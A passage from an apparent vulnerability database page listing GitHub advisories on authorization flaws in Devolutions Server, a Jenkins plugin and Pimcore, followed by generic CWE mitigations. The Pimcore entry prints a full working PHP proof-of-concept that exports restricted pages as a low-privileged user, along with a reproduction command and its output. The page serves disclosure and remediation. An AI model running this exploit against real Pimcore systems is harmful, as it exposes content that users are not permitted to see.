"type": "CVSS_V3"
}
],
"summary": "Vikunja: Link-share principal-type confusion enables cross-account team removal, bot takeover, and roster disclosure"
}
GHSA-32W5-2RP6-RG25
Vulnerability from github – Published: 2023-04-02 21:30 – Updated: 2023-04-07 21:30Permission bypass when importing or synchronizing entries in User vault in Devolutions Server 2022.3.13 and prior versions allows users with restricted rights to bypass entry permission via id collision.
{
"affected": [],
"aliases": [
"CVE-2023-1603"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-02T21:15:00Z",
"severity": "MODERATE"
},
"details": "Permission bypass when importing or synchronizing entries in User vault in Devolutions Server 2022.3.13 and prior versions allows users with restricted rights to bypass entry permission via id collision.",
"id": "GHSA-32w5-2rp6-rg25",
"modified": "2023-04-07T21:30:15Z",
"published": "2023-04-02T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1603"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2023-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32XP-M6VG-GWPJ
Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-12-20 21:22Pipeline Maven Integration Plugin 3.8.2 and earlier does not perform a permission check in an HTTP endpoint.
This allows attackers with Overall/Read access to Jenkins to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.
An enumeration of credentials IDs in Pipeline Maven Integration Plugin 3.8.3 requires the appropriate permissions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:pipeline-maven"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2233"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-20T21:22:39Z",
"nvd_published_at": "2020-08-12T14:15:00Z",
"severity": "MODERATE"
},
"details": "Pipeline Maven Integration Plugin 3.8.2 and earlier does not perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Overall/Read access to Jenkins to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.\n\nAn enumeration of credentials IDs in Pipeline Maven Integration Plugin 3.8.3 requires the appropriate permissions.",
"id": "GHSA-32xp-m6vg-gwpj",
"modified": "2022-12-20T21:22:39Z",
"published": "2022-05-24T17:25:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2233"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/pipeline-maven-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2020-08-12/#SECURITY-1794%20(1)"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/08/12/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins Pipeline Maven Integration Plugin allows enumerating credentials IDs"
}
GHSA-332X-R494-54FQ
Vulnerability from github – Published: 2026-05-27 22:27 – Updated: 2026-07-10 19:07Summary
The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESC
Root Cause
The controller only performs a feature-level permission check before starting the export flow:
- [TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
- TranslationController.php
It then directly resolves the target element from attacker-controlled type/id input:
- [TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)
- [TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
For document-like elements such as Page and Snippet, it renders content in an admin context:
- [TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)
- TranslationController.php
- TranslationController.php
No object-level authorization check such as isAllowed('view') is enforced on the target element.
Affected Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobject
For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
word_exportpermission - The attacker does not have
viewpermission on the target document
Reproduction Environment
- Reproduction root:
pimcore-12.3.3-repro - Standalone PoC script: [poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_wordexportwith only theword_exportpermission and no document workspace permissions. - Create a test page at
/poc-wordexport-secret-pagecontaining sensitive values: title = POC-WORDEXPORT-TITLEdescription = POC-WORDEXPORT-DESC- Verify that the user does not have
viewpermission on that page. - Execute
wordExportAction()andwordExportDownloadAction()as that user. - Check whether the exported HTML contains the sensitive values.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}
This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Remediation
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.6"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0-RC1"
},
{
"fixed": "12.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.5.16"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.5.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45703"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T22:27:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself. \nAs a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document.\n\nIn the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:\n\n- `POC-WORDEXPORT-TITLE`\n- `POC-WORDEXPORT-DESC`\n\n### Root Cause\n\nThe controller only performs a feature-level permission check before starting the export flow:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)#L41)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)#L44)\n\nIt then directly resolves the target element from attacker-controlled `type/id` input:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)#L58)\n\nFor document-like elements such as `Page` and `Snippet`, it renders content in an admin context:\n\n- [[TranslationController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)\n- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)\n\nNo object-level authorization check such as `isAllowed(\u0027view\u0027)` is enforced on the target element.\n\n### Affected Scope\n\nBased on the source code, the following element types may be affected:\n\n- `page`\n- `snippet`\n- `email`\n- `object`\n\nFor page-like documents, the `pimcore_admin = true` rendering context may expose additional backend-visible content.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `word_export` permission\n- The attacker does not have `view` permission on the target document\n\n### Reproduction Environment\n\n- Reproduction root: `pimcore-12.3.3-repro`\n- Standalone PoC script: [[poc_wordexport.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3-repro/tools/poc_wordexport.php)](pimcore-12.3.3-repro/tools/poc_wordexport.php)\n\n```php\n\u003c?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\WordExportBundle\\Controller\\TranslationController as WordExportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\Document\\Page;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\Filesystem\\Filesystem;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\n\ndefine(\u0027PIMCORE_PROJECT_ROOT\u0027, dirname(__DIR__));\n\ntry {\n \\Pimcore\\Bootstrap::bootstrap();\n\n $kernel = new \\App\\Kernel(\u0027dev\u0027, true);\n \\Pimcore::setKernel($kernel);\n $kernel-\u003eboot();\n\n $container = $kernel-\u003egetContainer();\n\n /** @var RequestStack $requestStack */\n $requestStack = getService($container, [\n RequestStack::class,\n \u0027request_stack\u0027,\n ]);\n\n $admin = User::getByName(\u0027admin\u0027);\n if (!$admin instanceof User) {\n fail(\u0027admin user is missing\u0027);\n }\n\n $auditor = User::getByName(\u0027auditor_wordexport\u0027);\n if (!$auditor instanceof User) {\n $auditor = new User();\n $auditor-\u003esetParentId(0);\n $auditor-\u003esetName(\u0027auditor_wordexport\u0027);\n }\n\n $auditor-\u003esetAdmin(false);\n $auditor-\u003esetActive(true);\n $auditor-\u003esetPassword(Authentication::getPasswordHash(\u0027auditor_wordexport\u0027, \u0027auditor-pass\u0027));\n $auditor-\u003esetPermissions([\u0027word_export\u0027]);\n $auditor-\u003esetRoles([]);\n $auditor-\u003esetWorkspacesDocument([]);\n $auditor-\u003esetWorkspacesAsset([]);\n $auditor-\u003esetWorkspacesObject([]);\n $auditor-\u003esave();\n\n $page = Page::getByPath(\u0027/poc-wordexport-secret-page\u0027);\n if (!$page instanceof Page) {\n $page = new Page();\n $page-\u003esetParentId(1);\n $page-\u003esetKey(\u0027poc-wordexport-secret-page\u0027);\n }\n\n $page-\u003esetPublished(true);\n $page-\u003esetController(\u0027App\\\\Controller\\\\DefaultController::defaultAction\u0027);\n $page-\u003esetTemplate(\u0027default/default.html.twig\u0027);\n $page-\u003esetTitle(\u0027POC-WORDEXPORT-TITLE\u0027);\n $page-\u003esetDescription(\u0027POC-WORDEXPORT-DESC\u0027);\n $page-\u003esetProperty(\u0027language\u0027, \u0027text\u0027, \u0027en\u0027, false, true);\n $page-\u003esetUserOwner($admin-\u003egetId());\n $page-\u003esetUserModification($admin-\u003egetId());\n $page-\u003esave();\n\n $canViewPage = $page-\u003egetDao()-\u003eisAllowed(\u0027view\u0027, $auditor);\n\n $tokenResolver = buildTokenResolver($auditor);\n $controller = wireController(new WordExportController(), $container, $tokenResolver);\n\n $exportId = \u0027wordexportpoc1\u0027;\n $exportRequest = new Request([], [\n \u0027id\u0027 =\u003e $exportId,\n \u0027data\u0027 =\u003e json_encode([\n [\u0027type\u0027 =\u003e \u0027document\u0027, \u0027id\u0027 =\u003e $page-\u003egetId()],\n ], JSON_THROW_ON_ERROR),\n \u0027source\u0027 =\u003e \u0027en\u0027,\n ]);\n\n $requestStack-\u003epush($exportRequest);\n $controller-\u003ewordExportAction($exportRequest, new Filesystem());\n $requestStack-\u003epop();\n\n $downloadRequest = new Request([\u0027id\u0027 =\u003e $exportId]);\n $requestStack-\u003epush($downloadRequest);\n $downloadResponse = $controller-\u003ewordExportDownloadAction($downloadRequest);\n $requestStack-\u003epop();\n\n $wordContent = (string) $downloadResponse-\u003egetContent();\n\n echo json_encode([\n \u0027vulnerability\u0027 =\u003e \u0027wordexport_authorization_bypass\u0027,\n \u0027user\u0027 =\u003e [\n \u0027id\u0027 =\u003e $auditor-\u003egetId(),\n \u0027name\u0027 =\u003e $auditor-\u003egetName(),\n \u0027permissions\u0027 =\u003e $auditor-\u003egetPermissions(),\n ],\n \u0027target_page\u0027 =\u003e [\n \u0027id\u0027 =\u003e $page-\u003egetId(),\n \u0027path\u0027 =\u003e $page-\u003egetFullPath(),\n \u0027title\u0027 =\u003e $page-\u003egetTitle(),\n \u0027description\u0027 =\u003e $page-\u003egetDescription(),\n \u0027user_can_view_page\u0027 =\u003e $canViewPage,\n ],\n \u0027result\u0027 =\u003e [\n \u0027download_contains_title\u0027 =\u003e str_contains($wordContent, \u0027POC-WORDEXPORT-TITLE\u0027),\n \u0027download_contains_description\u0027 =\u003e str_contains($wordContent, \u0027POC-WORDEXPORT-DESC\u0027),\n ],\n ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n fail(sprintf(\n \u0027%s: %s in %s:%d%s\u0027,\n $e::class,\n $e-\u003egetMessage(),\n $e-\u003egetFile(),\n $e-\u003egetLine(),\n $e-\u003egetTraceAsString() ? PHP_EOL . $e-\u003egetTraceAsString() : \u0027\u0027\n ));\n}\n\nfunction wireController(\n UserAwareController $controller,\n ContainerInterface $container,\n TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n $controller-\u003esetContainer($container);\n $controller-\u003esetTokenResolver($tokenResolver);\n\n if (method_exists($controller, \u0027setPimcoreSerializer\u0027)) {\n /** @var PimcoreSerializer $serializer */\n $serializer = getService($container, [\n PimcoreSerializer::class,\n \u0027Pimcore\\\\Serializer\\\\Serializer\u0027,\n ]);\n $controller-\u003esetPimcoreSerializer($serializer);\n }\n\n return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n $tokenStorage = new TokenStorage();\n $proxyUser = new SecurityUser($user);\n $token = new UsernamePasswordToken($proxyUser, \u0027pimcore_admin\u0027, $proxyUser-\u003egetRoles());\n $tokenStorage-\u003esetToken($token);\n\n return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n foreach ($ids as $id) {\n try {\n if ($container-\u003ehas($id)) {\n return $container-\u003eget($id);\n }\n } catch (Throwable) {\n }\n }\n\n fail(\u0027Unable to resolve service: \u0027 . implode(\u0027, \u0027, $ids));\n}\n\nfunction fail(string $message): never\n{\n fwrite(STDERR, $message . PHP_EOL);\n exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions.\n2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values:\n - `title = POC-WORDEXPORT-TITLE`\n - `description = POC-WORDEXPORT-DESC`\n3. Verify that the user does not have `view` permission on that page.\n4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user.\n5. Check whether the exported HTML contains the sensitive values.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php tools/poc_wordexport.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n \"vulnerability\": \"wordexport_authorization_bypass\",\n \"user\": {\n \"name\": \"auditor_wordexport\",\n \"permissions\": [\n \"word_export\"\n ]\n },\n \"target_page\": {\n \"path\": \"/poc-wordexport-secret-page\",\n \"title\": \"POC-WORDEXPORT-TITLE\",\n \"description\": \"POC-WORDEXPORT-DESC\",\n \"user_can_view_page\": false\n },\n \"result\": {\n \"download_contains_title\": true,\n \"download_contains_description\": true\n }\n}\n```\n\nThis shows that:\n\n- The user cannot view the target page\n- The exported file still contains the page\u0027s sensitive content\n\nThis confirms that the issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of structured page fields\n- Unauthorized export of restricted backend content\n- Potential exposure of unpublished or otherwise restricted content\n- Lateral data access by low-privileged backend accounts\n\n### Remediation\n\n1. Perform object-level authorization immediately after resolving the element from `type/id`.\n2. Require at least `view` permission on the target element.\n3. Apply consistent authorization checks across `page`, `snippet`, `email`, and `object`.\n4. Bind export creation and export download to the requesting user or an equivalent authorization context.\n5. Add regression tests to ensure that users with `word_export` but without element `view` permission cannot export content.",
"id": "GHSA-332x-r494-54fq",
"modified": "2026-07-10T19:07:24Z",
"published": "2026-05-27T22:27:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/pull/19112"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.